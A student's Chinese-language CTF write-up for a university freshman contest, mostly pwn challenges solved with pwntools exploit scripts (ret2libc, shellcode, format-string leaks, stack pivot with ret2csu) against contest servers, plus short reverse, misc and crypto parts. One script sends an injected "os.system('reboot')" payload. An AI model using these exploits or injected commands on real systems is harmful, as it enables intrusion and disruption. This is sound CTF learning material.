# Write-up

Haker:4rih04x

Grade: 2022

Affiliation: Academy of Cyberspace Security

总结:本次新生赛,笨人纯纯🤡,太菜了,可能时间是一部分原因,菜是大头,后面好好练习了,师傅领进门,修行看个人。师傅人好,自己菜🎈

接下来又准备期末复习啦,等我回来进攻二进制!


# 一.Pwn

# 1.nc

关闭了标准输出,我们可以重导向。

命令
1
exec sh 1>&2

学习链接:shell 启动脚本中的 0、1、2、> 和 & 解析_0>&1-CSDN 博客

# 2.nc2

核心与 Re 题的 shelling 一样。

不过需要从远端机接收二进制文件本地逆向分析。

# 接收 exp

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

# 连接远程机器
r = remote('149.104.24.236', 6013)

# 发送消息 "cat flag" 并接收回显
r.sendline(b'cat flag')
print('cat flag')


r.recvline(timeout=1)

# 逐步接收数据
result = b''
while True:
try:
data = r.recv(timeout=1)
if not data:
break
result += data
except EOFError:
break

# 指定保存路径
save_path = '/mnt/hgfs/Ubuntu_share/CTF/game/scu2023/pwn/output1.bin'

# 检查是否接收到完整的数据
if len(result) == 0:
print("未接收到任何数据")
else:
# 持续接收数据直到为空
while True:
try:
data = r.recv(timeout=1)
if not data:
break
result += data
except EOFError:
break

# 将回显保存到文件
with open(save_path, 'wb') as file:
file.write(result)

print(f"回显已保存到: {save_path}")
r.interactive()

# 本地脱壳分析

然后就是本地脱壳分析,本博主很菜,在师傅的提醒下,用 gdb 手动调试的时侯将程序控制在 exit 前,这个时候会产生一个新进程。

命令行
1
dump memory {path} 0xstart 0xend

可以将脱壳后的新进程 dump 下来。

image-20231209104150151

另外,博主 dump 下来后还是很菜,本地也不会看,师傅在软磨硬泡下,提醒我在 data 段,可能 ida 看不到,直接在 gdb 种看内存就行,心碎。

然后又到了本题的初衷:学习 gdb 的高级调试之如何下断点。

学习链接:[GDB 之调试系统接口 syscall (九)_android syscall-CSDN 博客](https://blog.csdn.net/u010164190/article/details/132893203?ops_request_misc={"request_id"%3A"170208983216777224460084"%2C"scm"%3A"20140713.130102334.pc_all."}&request_id=170208983216777224460084&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-2-132893203-null-null.142v96pc_search_result_base3&utm_term=gdb catch syscall &spm=1018.2226.3001.4187)

命令行
1
2
3
catcn syscall exit
catch syscall 0
#调用号or名称都可以

然后在 data 段就可以看见了。

# 3.ret2text

# Analysis

一道很简单的题,不过本地卡到现在跑不了,去搜了一下,很可能是本地启用了一些什么奇奇怪怪的 gcc 编译,让原二进制文件跳不到 system,远程打通了。

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; (int)i < a2; ++i )
{
v4 = read(0, (void *)((int)i + a1), 1uLL);
if ( v4 < 0 )
{
perror("read");
exit(-1);
}
if ( !v4 )
break;
if ( *(_BYTE *)((int)i + a1) == 10 )
return i;
if ( *(_BYTE *)((int)i + a1) == 73 )
{
*(_DWORD *)((int)i + a1) = 6566228;
a1 += 2LL;
}
}
return i;
}

关键函数,说明我们可以利用输入 ascll 码为 73 的字符 “I” 来执行程序的栈空间伸长,从而覆盖到返回地址,从而 getshell

# Attach

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#控制程序执行0x401225

from pwn import *
p = remote("149.104.24.236", 6003)
sys_addr=0x401225

#p=process('./pwn')
context.log_level = 'debug'
p.recv()
#padding=0x28

payload = b'I'*13+b'\x00'+p64(sys_addr)+b'\x10'
p.send(payload)
#gdb.attach(p,'b read')
pause()
p.interactive()

师傅后续说本题要考虑栈空间对齐,和后门函数的调用问题,但本题我半天本地没通,是动态调试着做的,倒没注意这一点,这里也放一个学习链接。

关于 ubuntu18 版本以上调用 64 位程序中的 system 函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)

# 4.calc

# Analysis

一道计算题,要求完成计算 100 次,博主卡了一下,不知道有 eval 函数,可以直接执行 py 语句,手动写了一个计算脚本,但那天正好心情大好,都拿了血,主要考察脚本和 pwntools 的使用,但是哈,感觉电科那道题比这个题在字符串处理上更麻烦一点,不过师傅的那匹马确实帅。

# Attach

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import re
from pwn import *

conn = remote("124.223.159.125", 9091)

# 交互
m = 78
for _ in range(m):
print("------------" + str(m) + "----------")
m -= 1
message = conn.recvuntil(b'>>').decode()
print(message)

match = re.search(r'<\s*(\d+)\s*([+\-*/])\s*(\d+)\s*=\s*\?\s*>', message)
if match:
a = int(match.group(1))
operator = match.group(2)
b = int(match.group(3))

# 根据运算符执行计算
if operator == '+':
result = a + b
elif operator == '-':
result = a - b
elif operator == '*':
result = a * b
elif operator == '/':
result = a / b

#你还好吗
# 发送结果
print(result)
conn.sendline(str(result).encode())
else:
conn.sendline(b"__import__('os').system('reboot')")
print("------fucker-------")


conn.interactive()


'''
**************************************************************************************
_____ _ _ ____ _
|_ _/ | __| | / ___|__ _| | ___
| | | |/ _` | | | / _` | |/ __|
| | | | (_| | | |__| (_| | | (__
|_| |_|\____| \____\__,_|_|\___|

**************************************************************************************
Welcome to T1d's Calc!Please complete 1027 arithmetic questions within 600 seconds.
If you answer all of them correctly, T1d will give you a small gift~
_____________________
< 78561 + 54926 = ? >
---------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
input >>太酷了
'''

# 5.ret2libc

师傅连夜出的,怕没人做 pwn,半夜上题,板子题没啥好说的

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*
p=remote('124.223.159.125','9023')
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf=ELF('./pwn')


main=0x4011ca
rdi=0x4011c5
ret=0x40101a

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']


payload1= b'a'*0x28 + p64(rdi) + p64(puts_got) +p64(puts_plt) + p64(main)
#p.recv()
p.recv()
p.sendline(payload1)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00')) #得到 puts 函数 的地址;
print(hex(puts_addr))

libc=LibcSearcher("puts",puts_addr) # 得到 libc的版本;
libc_base=puts_addr-0x080e50 # 得到偏移地址
sys_addr=libc_base+0x050d70 # 利用偏移地址 得到 system函数的地址
binsh=libc_base+0x1d8698 # 得到 bin/sh 的 地址

payload2=b'a'*0x28+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr) #这里必须要ret,不然超时
p.recv()
p.sendline(payload2)
p.interactive()

# 6.ret2shellcode

简单题,栈上 rwx, 写了就执行了

行高亮
1
2
3
4
5
6
7
from pwn import *
#直接注入
#sh = process('./ret2shellcode')nc 124.223.159.125 9024
sh=remote('124.223.159.125','9024')
#shellcode = asm(shellcraft.sh())
sh.sendline(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')#22字长
sh.interactive()

# 7.exit hook

好几题还没写,没时间看,但博主放在这里,肯定会回来补充的。

# 8.t1d-computerV2.0

还没弄明白,师傅说是一个真实 cve,花了她 20 分钟看洞😰😰😰我现在没看出来。

# 9.fmt

# Analysis

这次确实很菜,很丢人,做到 fmt 和 blind 就卡住了,对于 fmt 的最后一字节爆破不会操作。

下面跟着来看看题目。

原函数:

源码
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 fmt()
{
char format[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v2; // [rsp+108h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("wuhu~");
read_mess(format, 256LL);
printf(format);
return v2 - __readfsqword(0x28u);
}

我们发现明显的 fmt 漏洞。

栈分布情况如下:第一眼见的时候只看了 30 行栈,没看见 rbp,蠢

image-20231203153048008

经过计算:

rbp:0x22+6=40 ret:0x23+6=41 canary=39

显然我们有了基本的攻击思路,将返回地址的最后一字节改了,(因为 ret 和 fmt 相隔很近)改成 fmt 函数,这样我们可以制造多次读入,甚至无限读入

然后我们依赖多次读入,可以泄露 rbp、ret、canary 等内容,最红目标是想拿 shell,因此我们还需要构建 rop 链子,创造指针执行,这点是师傅的 hint。

本题没在规定时间做出来,心碎。

# Attach

贴一个还没写完的 exp,等待更正

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')

#修改返回地址制造fmt循环
p.recvuntil(b'wuhu~')
payload = b'%' + str(0xe3).encode() + b'c%41$hhn'
payload += b'%43$p %39$p %40$p'
gdb.attach(p,'b fmt')
pause()

p.send(payload)

#pie
#addr:libc_start_main+128
#pie:real_addr - addr
p.recvuntil(b'0x')
pie_addr = int(p.recv(12), 16) - (0x4058+128)
print(hex(pie_addr))

#base_addr = libc_start_main
base_addr = pie_addr + 0x4058 - libc.sym['__libc_start_main']

#canary
p.recvuntil(b'0x')
canary = int(p.recv(12), 16)
print(hex(canary))
#%40$p rbp
p.recvuntil(b'0x')
rbp_addr = int(p.recv(12), 16) - 0x10
print(hex(rbp_addr))
'''
p.recvuntil(b'wuhu~')
payload = (b'%' + str(0xb2).encode() + b'c%10$hhn').ljust(16, b'a') + p64(rbp_addr + 8)
p.send(payload)

p.recvuntil(b'wuhu~')
num = (rbp_addr & 0xff) - 0x78
print(hex(num))
if num < 0:
return 0
payload = (b'%' + str(num).encode() + b'c%10$hhn').ljust(16, b'a') + p64(rbp_addr)
p.send(payload)
'''
system = base_addr + libc.sym['system']
pop_rdi = base_addr + 0x2a3e5
binsh = base_addr + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x110-8) + p64(canary)+ b'a'*8 +p64(pop_rdi) + p64(binsh) + p64(system)
p.recvuntil(b'wuhu~')
p.send(payload)
p.interactive()

菜就多练

# 10.ORW(io_uring)

一道禁用了 orw 的沙盒

image-20240224225638592

只能通过 IO 流来想办法了,在复现的时候也是参考了师傅的 ACTF 的 master of orw 学习一些知识。

可以直接看内核源码来寻找 orw 的替代逻辑。可以打 io_uring。

函数 io_openat2 寻找引用链,可以得到这样的调用链 :

io_openat2 <- io_issue_sqe <- io_wq_submit_work <- io_init_wq_offload <- io_uring_alloc_task_context <- io_sq_offload_create <- io_uring_create <- io_uring_setup <- SYSCALL_DEFINE2(io_uring_setup, u32, entries, struct io_uring_params __user *, params)

# 资源限制 (pid)

ulimit 在 pwn 题中的应用 | Introspelliam

Linux 中修改进程资源访问限制 - 知乎 (zhihu.com)

本题的思路就是先绕过资源限制然后通过 io_openat2 来读取 flag。

源码
1
2
3
4
5
#include <sys/time.h>
#include <sys/resource.h>

int prlimit(pid_t pid, int resource, const struct rlimit *new_limit,
struct rlimit *old_limit);

# 11.Blind 系列 [一次输入]

源码
1
2
3
4
5
6
7
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

read(0, buf, 0xB0uLL);
return 0LL;
}

只能输入一次,溢出 16 字节。1,2,3 编译条件不同,和细节不同。

# 11.1 Onlyoneread

思路
1
2
3
4
5
6
7
8
9
10
11
execve是转头直接执行其他的二进制文件。产生新进程。
将 sys_execve 的调用号 59 赋值给 rax
将 第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi
将 第二个参数 0 赋值给 rsi
将 第三个参数 0 赋值给 rdx

1、文件路径为/bin/sh,这个sh其实是个shell程序,如果argv是空(0也可以),那么就会去打开一个shell,所以execve("/bin/sh",0,0)是我们最常用的。
but如果argv不为空呢,sh就可以变成变成一个shell脚本解析器,这时候argv应该是这么组成char *argv[]={"/bin/sh","flag",NULL}这样子这个数组的第一个内容是文件路径,这个和execve的第一个参数一样,但是吧由于argv的特性,所以数组的第一个一定得是这个,然后第二个就是我们要解析的脚本路径,我这边是相对路径,然后第三个是空,这个是argv的要求,要求最后一个一定得是NULL。
这个有什么用呢,如果argv里面的要解析的文件不是shell程序,那么就会把文件内容以报错的形式输出出来,如果题目把0(标准输入)和1(标准输出)关了,还能这么拿到flag。

2、文件路径为/bin/cat,这个cat故名思议就是打印文件内容的程序,函数形式为execve("/bin/cat",argv,0),argv[]={"/bin/cat","flag",NULL},zhege argv的第二个变量是要打印的文件的名字,这样子就可以把flag文件打印出来了

# 思路:

1. 第一次栈迁移到 bss 段,构造 read 的虚拟栈

new_rbp1 = 期望 rax + 0xa0;

leave_ret 返回地址为 read 的起始语句 lea rax, [rbp+buf]

2. 第二次 开始构造 read 的虚拟栈, 在 bss 段上布链子,最后达到 0xa0-16 个字节,溢出产生新的 rbp,leave_ret

布置链子目的:借用 read 的 syscall,触发 x86 的 exceve(”binsh“,0,0)

该链子满足:

调用一次 read 函数:

1)利用 read 的返回值为实际读取字数并存到 rax 控制 rax=0x3b

2)利用 read 可向特定地址内写入,控制写入地址为”binsh“所在内存,rdi = binsh

此时发现内存中没有 pop rdi 可以直接使用,因此借用 csu。

3)csu 可以一次性实现 rdi,rdx,rsi 的布置,同一般的 ret2csu 一样,开始布置 exceve。(已有条件:rax=0x3b,特定地址上的 binsh)

题解exp
1
2
payload = com_gadget(gadget1_addr, gadget2_addr, syscall_addr, binsh, 0, 0)   #ret2csu用exceve
payload = com_gadget(gadget1_addr, gadget2_addr, read_got, 特定位置, 0, 0) #改got,写入read_got

问:syscall 哪里来?-----> 第三次输入

问:binsh 哪里来? -----> 调用一次 read 来控制 -----> 第四次输入

3. 第三次输入

我一开始的想法: ret2csu 改写 read 的 got 表为 syscall 的地址,调用 read 触发 syscall 即可。

师傅说没这么麻烦,可以直接利用 raed 函数,将 rax 设置成 read_got,直接向里面写入覆盖最后一位即可。

4. 第四次输入,构造条件即可。

关键 rax 的掌控:

程序进行时rax 要求(rax=rbp-0xa0)
第一次栈迁移到 bss 段(由 main 函数引起 read)new_base1 到 bss 段即可,rax = new_base1-0xa0,read 向 raxA 处地址开始写入链子
第二次栈迁移要求执行链子:new_base2-p64 (0)- 链子所在地址(由第一次 ret->main 引起 read)rax = new_base2 - 0xa0 、new_base2 + 0x08 = A 处地址
第三次 read 修改 read_got (由第二次 ret->main 引起 read)rax = read_got 地址 又 rax = new_base2 - 0xa0
第四次 read 在指定位置读入 binsh 由第二次栈迁移执行链子自己的 read 引起)rax 为 read 实际读入字节,rax = 0x3b
故由 rax 满足式子:new_base2 - 0xa0= read_got 、 new_base2 = new_base1 - 0xa0 - 0x08
read_got = 0x404018new_base2 = read_got+0xa0 = 0x404b8<br />new_base1 = new_base2+0xa0+0x08=0x4040c0+0xa0

# 1. 第一次输入

原 main 函数的输入

read 函数的利用手段,当程序中将要执行的 read 函数,三个部分,一写入的字节

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''
函数原型: int read(int handle,void *buf,int len);
功能:用于读取打开文件的内容
参数: int handle 为要读取的文件 mov edi, 0 (0表示写入) ; fd
void *buf 为要将读取的内容保存的缓冲区 mov rsi ,rax ; buf
int len 读取文件的长度 mov rdx,len ; nbytes

返回值:返回实际读取的字节数 返回值写入->rax
汇编:
mov rdx,len ; nbytes
mov rsi ,rax ; buf
mov edi, 0 ; fd
call read
'''

栈迁移迁往 bss 上的一段虚拟栈。

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
addr = elf.bss()+0x500
print(hex(addr))
#新stack_base迁往bss的地址+0xa0
#由高到低
ret = 0x4040c0 + 0xa0
#leave_ret
#read的jmp指令地址
#.text:0000000000401132 48 8D 85 60 FF FF FF lea rax, [rbp+buf]
leave_ret = 0x401132
payload = b'a'*0xa0 #覆盖到rbp
payload += p64(ret) + p64(leave_ret)
p.send(payload)

image-20240129165931906

# 2. 第二次输入

第一次栈迁移 jmp 到 lea 那一步后的地址引起的输入

栈迁移后第二次输入:向 read 的虚拟栈(即 bss 上段地址)中注入情况

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
#ROP链条
#调用第三次read修改readgot表
pop_rsi_r15=0x4011c1
#参数1的地址0x404200
#参数2:0
#调用第三次read向0x404200地址上写入
payload = p64(pop_rsi_r15)+p64(0x404200)+p64(0)+p64(read_plt)
#调用read修改got表 0x404200->binsh 0 0
payload += com_gadget(gadget1_addr, gadget2_addr, read_got, 0x404200,0,0)
#rbp=read_got+0xa0并执行leave_ret->read
#其实是想rax=read_got
payload = payload.ljust(0xa0, b'a')+ p64(read_got+0xa0) + p64(leave_ret)

image-20240129163911840

# 3. 第三次输入

第二次栈迁移 jmp 到 401132 的引起的输入,把 read 的 got 表改成 read 里面的 syscall,因为 read_got 离 read 自己的 syscall 很近,可以选择爆破最后一字节。

image-20240129163809437

image-20240129175243201

题解exp
1
2
#改read@got[plt]->read在本次进程中的起始位置         .....d0改为......e0 一字节即syscall,因此可以爆破
p.send(b'\xe0')

# 4. 第四次输入

链子带来的输入

用 read_plt 调用 read: 借用 pop rsi_r15

rdi = 0, rsi = 0x404200, rdx = 0xb0 (上一次 read 后没改变)

向 404200 写入 0x3b 字节(rax=0x3b),写入 binsh

image-20240129184714772

题解exp
1
2
#4.控制read的读入字节控制rax,写入binsh
p.send(b'/bin/sh\x00' + b'a'*(0x3b-8))

# 5. 执行 csu,syscall

1->3->4->2 的链子

image-20240129185913319

# exp:

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#seccomp-tools dump ./pwn.pwn看哪些被禁用了
#栈劫持就是先讨论main函数里的栈迁移,首先利用溢出把rbp的内容给修改掉(修改成我们要迁移的那个地址)
#并且把返回地址填充成leave;ret指令的地址(因为我们需要两次leave;ret)
#execve:59号系统调用 execve("/bin/sh",0,0) r12中填入exceve的地址,其余寄存器置0。
#希望控制寄存器为:
#rax = 0x3b syscall
#rdi = bin_sh_addr
#rsi = 0
#rdx = 0
#syscall

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process("./pwn.pwn")
elf = ELF("./pwn.pwn")

#ret2csu的两个gadget
#loc_4011B6: pop_rbx_addr
gadget1_addr = 0x4011ba
#loc_4011A0: mov_rdx_r14_addr
gadget2_addr = 0x4011A0

read_plt = elf.plt['read']
read_got = elf.got['read']


#定义利用csu的通用gadget函数
#rdi,rsi,rdx
def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):#
payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
# csu = pop_rbx_addr , rbx , rbp , r12 , r13 , r14 , r15 , mov_rdx_r14_addr 56个对应那几个pop
return payload
'''
def csu(rdi,rsi,rdx,call):#110字长
pay = p64(0x4011BA) + p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(call)
pay += p64(0x4011A0)
return pay
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
'''
#gdb.attach(p)
pause()
#1核心是两次leave_ret
#迁移栈:到read的虚拟栈
#ret

bss_addr = elf.bss()+0x500
print(hex(bss_addr))
print(hex(read_got+0xa0+0x08+0xa0))
new_base1=read_got+0xa0+0x08
#新stack_base迁往bss的地址+0xa0
#由高到低
#ret= rax + 0xa0 (rax是待会read写入的地址)rax = ret - 0xa0
ret = 0x4040c0 + 0xa0
#leave_ret
#read的jmp指令地址
#.text:0000000000401132 48 8D 85 60 FF FF FF lea rax, [rbp+buf]
leave_ret = 0x401132
#rbp放回去的地址
payload = b'a'*0xa0 #覆盖到返回地址
payload += p64(ret) + p64(leave_ret)
p.send(payload)

pause()

#2ROP链条
#调用syscall
pop_rsi_r15=0x4011c1
#参数1的地址0x404200
#参数2:0
#调用修改后的read->syscall
payload = p64(pop_rsi_r15)+p64(bss_addr)+p64(0)+p64(read_plt)
#执行4
#3调用read修改got表 0x404200->binsh 0 0
payload += com_gadget(gadget1_addr, gadget2_addr, read_got, bss_addr,0,0)

#栈迁到read_got的位置并执行leave_ret->read
payload = payload.ljust(0xa0, b'a')+ p64(read_got+0xa0) + p64(leave_ret)
p.send(payload)
pause()
#修改最后一位,修改read的got表为syscall
p.send(b'\xe0')
pause()
#4.控制read的读入字节控制rax,实现syscall
p.send(b'/bin/sh\x00' + b'a'*(0x3b-8))
p.interactive()

# 11.2 Oneread

在 1 的基础上将 flag 放在当前进程的环境变量中,而 exceve 是重新 fork 一个程序,不继承环境变量,因此只有考虑 libc 的 system。

方法 1:ret2dl 这个可以套用模板

方法 2:在 1 的基础上尝试调用 libc 的 puts 函数泄露基地址用 ret2libc 的思想。

方法 2 详解:

由第 1 道题我们直到 1 中我们有任意写权限(改写 got 表为 syscall),迁移两次栈,一次到 bss,一次到虚拟栈,执行虚拟栈。

因此,用 syscall_write 泄露 read 的 got 表即可达成目的。

本题较为复杂的是 exp 的构造。

布栈情况:(已执行修改 got 表)

image-20240129211614081

有点像写 shellcode 反正.

# 11.3 Blind2

开了 full Re 的保护,无法修改 got 表,主要是布栈比较复杂。

# 12. 五子棋

# Analysis

这道题因为有一些思路,并没有使用爆破手法,因为受不鸟嘲讽。

漏洞函数:逻辑盘判断失误,我第一眼我就觉得如果把 dword_4020 [k] 变成 0,那么可以实现判断逻辑错误然后卡 bug 赢,那么我们的目标就是把它改成 0

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; i <= 19; ++i )
{
for ( j = 0; j <= 19; ++j )
{
for ( k = 0; k <= 7; ++k )
{
for ( m = 0; m <= 5; ++m )
{
if ( m == 5 )
return 1LL;
v6 = m * dword_4020[k] + i;
v7 = m * dword_4040[k] + j;
if ( v6 < 0 || v7 < 0 || v6 > 19 || v7 > 19 || a1 != dword_9D60[20 * v6 + v7] )
break;
}
}
}
}
return 0LL;
}

我们观察到

行高亮
1
2
3
4
5
6
7
8
void *sub_12E9()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(&unk_40A0, -1, 0x5CA4uLL);
return memset(dword_9D60, -1, sizeof(dword_9D60));
}

4040 [k]-9D60 相距多少?我们精确计算:相距 5D20=23840=298 * 4(int)* 20

因此输入 - 299,-19 拿下

# 13.t1d-compterV3.0

# 14.ddlbook


# 二.Re

# 1.shelling 脱壳

mimi
1
catch syscall read

dump 到本地拿下

# 三.Misc

这次的 misc 好有意思,嘿嘿,爱了,不过没做完,misc 确实可以边蹲坑边做,r3 还不信

# 1. 签到

下 pdf 就有

# 2.OSINT

Web 学习路线 - SCU-CTF HomePage (scuctf.com)

要获取网页的 SHA 值,可以通过以下步骤进行操作:

  1. 打开网页,可以使用浏览器访问该网页。
  2. 在浏览器中按下 F12 键,打开开发者工具。
  3. 在开发者工具中,切换到 "Network"(网络)选项卡。
  4. 刷新网页,以便加载所有的网络请求。
  5. 在网络请求列表中找到网页对应的请求,通常是 HTML 文件,可以通过筛选或搜索来快速找到。
  6. 右键点击该请求,选择 "Copy"(复制)并选择 "Copy as cURL"(复制为 cURL)。
  7. 将复制的 cURL 命令粘贴到文本编辑器中。
  8. 在文本编辑器中找到 -H 'If-None-Match: "XXXXXXXX"' 这样的参数,其中的 XXXXXXXX 就是网页的 SHA 值。

请注意,这种方式获取的是网页请求头中的 ETag 值,它通常是服务器根据网页内容生成的哈希值,用于验证网页内容是否发生变化。这个值并不是网页文件本身的 SHA 值。如果你需要获取网页文件的 SHA 值,可以使用其他工具或脚本来计算网页文件的哈希值。

# 3.tld2 找图片

image-20231204230013654

# 4.encoding1

encoding1

# 5.encoding2

code2

中文coding的一些提示

# 四.Crypto

1. 密码做了 4 个题,不想写 wp,心碎,直接贴我的 exp

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from base64 import b64encode, b32encode, b16encode
from flag import FLAG0

print(b64encode(b32encode(b16encode(FLAG0))))

# R1VaVElNWlZHVTJER05KVUdRM0RPUVJVR0UyREdOU0RHWkRETU1aV0lJM1RPTlNHRzRaRE1RUlVJWTNURU5SUkdaQ1RNTlpXR1UzVUk9PT0=

exp:
from base64 import b64decode, b32decode, b16decode

encoded_string = "R1VaVElNWlZHVTJER05KVUdRM0RPUVJVR0UyREdOU0RHWkRETU1aV0lJM1RPTlNHRzRaRE1RUlVJWTNURU5SUkdaQ1RNTlpXR1UzVUk9PT0="

# 先使用b64decode解码
decoded_string = b64decode(encoded_string)

# 再使用b32decode解码
decoded_string = b32decode(decoded_string)

# 最后使用b16decode解码
decoded_string = b16decode(decoded_string)

print(decoded_string)

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flag import FLAG7
from hashlib import sha256

for i in FLAG7:
print(sha256(chr(i).encode()).hexdigest(), end=" ")

# 8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643 6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7 6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d e632b7095b0bf32c260fa4c539e9fd7b852d0de454e9be26f24d0d6f91d069d3 f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9 021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96 c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c 50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7 62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29 ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b bb7208bc9b5d7c04f1236a82a0093a5e33f40423d5ba8d4266f7092c3ba43b62 d10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2

from hashlib import sha256

hashes = [
'8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643',
'6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d',
'a25513c7e0f6eaa80a3337ee18081b9e2ed09e00af8531c8f7bb2542764027e7',
'6b23c0d5f35d1b11f9b683f0b0a617355deb11277d91ae091d399c655b87940d',
'e632b7095b0bf32c260fa4c539e9fd7b852d0de454e9be26f24d0d6f91d069d3',
'f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9',
'021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96',
'c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c',
'50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326',
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
'454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1',
'de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7',
'62c66a7a5dd70c3146618063c344e531e6d4b59e379808443ce962b3abd63c5a',
'5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9',
'1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9',
'5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9',
'cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29',
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
'4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a',
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
